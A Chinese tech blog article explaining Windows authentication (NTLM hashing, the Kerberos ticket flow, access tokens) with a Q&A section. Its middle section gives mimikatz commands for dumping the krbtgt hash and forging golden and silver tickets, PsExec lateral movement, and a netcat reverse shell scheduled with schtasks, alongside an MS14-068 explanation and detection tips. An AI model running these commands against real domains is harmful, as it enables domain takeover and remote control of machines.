windows的认证协议是什么

发布时间:2021-10-12 15:11:13 作者:iii
来源:亿速云 阅读:269

这篇文章主要介绍“windows的认证协议是什么”,在日常操作中,相信很多人在windows的认证协议是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”windows的认证协议是什么”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!

一、NTLM认证

首先看一下NTLM hash的生成过程:

NTLM hash: password ----> 十六进制编码 ----> Unicode转换 ----> MD4加密 ----> 得到NTLM Hash
举例
admin -> hex(16进制编码) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

为了保证NTLM hash的机密性,在认证过程中,是不会直接传递NTLM hash的。NTLM认证分为两种,详情如下:

NTLM本地认证:客户端发送用户名等身份信息,服务端生成随机16为challenge发给客户端,客户端使用NTLM hash加密challenge发给服务端。服务端通过用户名找到NTLM hash然后加密challenge跟客户端发送过来的比对,比对成功则认证成功。

NTLM网络认证:这种情况适用于使用域账号登录的场景,这个时候服务端是没有用户的hash的。所以不一样的地方是服务端会将用户信息、challenge、客户端返回的信息都发给域控,由域控做认证再返回结果。流程图见下图:

windows的认证协议是什么

二、kerberos认证

NTLM协议比较简单,kerberos认证就比较复杂了,首先,介绍几个概念。
Kerberos认证的是由三方来完成的,他们分别是client、server、KDC(Key Distribution Center)
其中KDC是由两种服务所构成的,AS(Authentication Service)和TGS(Ticket Granting Service)
AS是用来为client生成TGT(Ticket Granting Ticket)的,TGS是用来为client生成某个服务的ST(service ticket)的,TGT是用来获取ST的临时凭证,ST是用来访问某种服务所必须使用的票据。

第一步 client与AS交互
client发送: 用户名 + 用户密码加密(用户信息,时间戳等)

AS:根据用户名找到用户密码,解密出用户信息和事件戳,核实成功后认证成功,然后随机生成一个session key
AS发送:用户密码加密(session key) + TGT(也就是krbtgt加密(用户信息,session key))

注意:TGT中用户唯一不知道的是krbtgt的密码hash,所以有了这个hash,就可以自己伪造TGT,也就是所谓的金票据。

第二步 client与TGS交互
client发送:session key加密(用户信息,时间戳等) + 需要访问的服务名 + TGT
TGS:使用krbtgt密码解密TGT,获得session key 解密出用户信息,与TGS中的用户信息比对。认证成功后生成随机的 server session key
TGS发送:session key加密(server session key) + ST(也就是对应服务端密码加密(用户信息,server session key))

注意:ST中用户唯一不知道的是server的密码hash,所以有了这个hash,就可以自己伪造ST,也就是所谓的银票据。

第三步 client与server交互
client发送:server session key加密(用户信息,时间戳等) + ST
server:使用自己的密码解密ST,获得server session key,然后将server session key解密后获得的用户信息和ST中的用户信息比对,认证成功。

流程图见下图:

windows的认证协议是什么

上面的过程中,每次加密使用的密钥基本都是不一样的,是一次一密的一个很好的实践。

Kerberos认证攻击方法:

下面简单讲一下金票据的伪造和利用,使用工具为mimikatz。
1.在域控上获取ntlm hash等信息

lsadump::dcsync /domain:[domain name] /user:krbtgt

2.生成金票据

privilege::debug  #提权
kerberos::golden /user:administrator /domain:[domain name]  /sid:[domain sid] /krbtgt:[krbtgt hash] /ptt  #生成票据并导入
# kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的哈希 /ptt

3.后续利用
①列举域控上磁盘文件

net use \\AD01.test.com
dir \\AD01.test.com\c$

②反弹shell

nc.exe -lvp 9999  #监听端口
copy C:\Users\Administrator\Desktop\nc.exe \\AD01.test.com\c$\nc.exe#将netcat拷贝到目标主机
schtasks /create /tn "ncshell" /tr "c:\nc.exe  1.1.1.1 9999 -e cmd.exe"  /sc once /st 19:13:00 /sd 2021/04/13 /s AD01.test.com /RU test\admin #反弹shell

③使用psexec直接执行命令:

PsExec64.exe \\AD01.test.com cmd.exe

银票据的利用基本类似:

kerberos::golden /domain:test.com /sid:[sid] /target:计算机名称.test.com /rc4:[server hash] /service:cifs /user:administrator /ptt

MS14-068原理

这里简单介绍一下票据攻击中大名鼎鼎的漏洞MS14-068
利用前提:

1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid

背景信息:

kerberos协议中其实没有client的权限信息,server并不知道client有什么权限。所以有了PAC(privilege attribute certificate),特权属性证书,作为TGT的一部分。
为保证PAC自身合法性,其带有两个以krbtgt密码为密钥的签名。

攻击过程:

客户端请求TGT,要求不包含PAC,拿到不包含PAC的TGT
客户端伪造PAC,一般伪造成域管理员信息,然后随便用MD5签名一下
客户端请求ST,发送TGT,同时指定将PAC包含在请求中(具体再在TGS_REQ的REQ_BODY中),指定其签名方式为MD5
TGS收到请求后,解密TGT,不包含PAC,然后根据指定的签名算法也就是MD5验证在外部的PAC,验证成功后,会再返回给client一个新的包含PAC的TGT
这样client就可以拿到一个包含指定用户权限的TGT

票据攻击检测:

1.根据工具特征,mimikatz和kekeo类似,攻击参数特征非常明显,可根据进程创建日志中的“kerberos::”等特征检测。
2.微软的ATA可根据ticket有效期检测,TGT默认十小时有效,但mimikatz生成默认十年(由可选参数/ endin 控制)

三、令牌(token)

token是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后,都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用不断的拷贝。一般情况下,用户双击运行一个程序,都会拷贝“explorer.exe”的Access Token。当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。

令牌内容:

用户帐户的安全标识符(SID)
用户所属的组的SID
用于标识当前登录会话的登录SID
用户或用户组所拥有的权限列表
所有者SID
主要组的SID
访问控制列表
访问令牌的来源
令牌是主要令牌还是模拟令牌
限制SID的可选列表
目前的模拟等级
其他统计数据

四、答疑

1、域控上的krbtgt账号是怎么创建的?有默认随机密码还是随机密码?如何修改?

krbtgt是在创建域控的时候自动生成的,并且由系统给他随机分配一个密码。修改密码是到Active Directory 用户和计算机中,找到相关用户,reset密码,然后输入指定的密码。 指定的密码不是很重要,因为系统将自动独立于指定的密码生成强密码。

2、什么时候使用token?什么时候用kerberos?以及它们之间有什么关系?

token是在本地用的,kerberos是网络认证用的。token里面有个authentication id字段,跟登录会话关联起来,然后登录会话跟缓存凭据关联起来,使用token登录其他主机时,会使用缓存凭证去登录其他机器。
网络登录不会缓存凭据,比如net use到目标主机就不会在目标主机上查到hash,通过incognito也找不到可利用的token,但是在本地主机上可以看到明文账号密码。

3、在受害主机伪造了域控进程的token后如何进一步利用?

可直接net use或者psexec执行命令。

4、既然域账号NTLM认证是在域控上完成的,为什么登陆之后还是能够获取到NTLMhash?

如果是RDP方式登录,是在远程电脑上的进程中输入明文的密码,处理过程的前面部分类似本地登录,也就是winlogon.exe -> 接收用户输入 -> lsass.exe。也就是RDP的目标机器接收了本地账号并将其处理成hash,然后RDP目标机器再使用这个hash去域控上认证。

到此,关于“windows的认证协议是什么”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注亿速云网站,小编会继续努力为大家带来更多实用的文章!

推荐阅读:
  1. Openldap 整合windows AD认证
  2. windows下kafka的认证配置总结

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

ntlm

上一篇:使用CSS技巧有哪些

下一篇:如何进行Spring MVC框架集成本地HTTP请求和Spring Cloud RPC请求

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》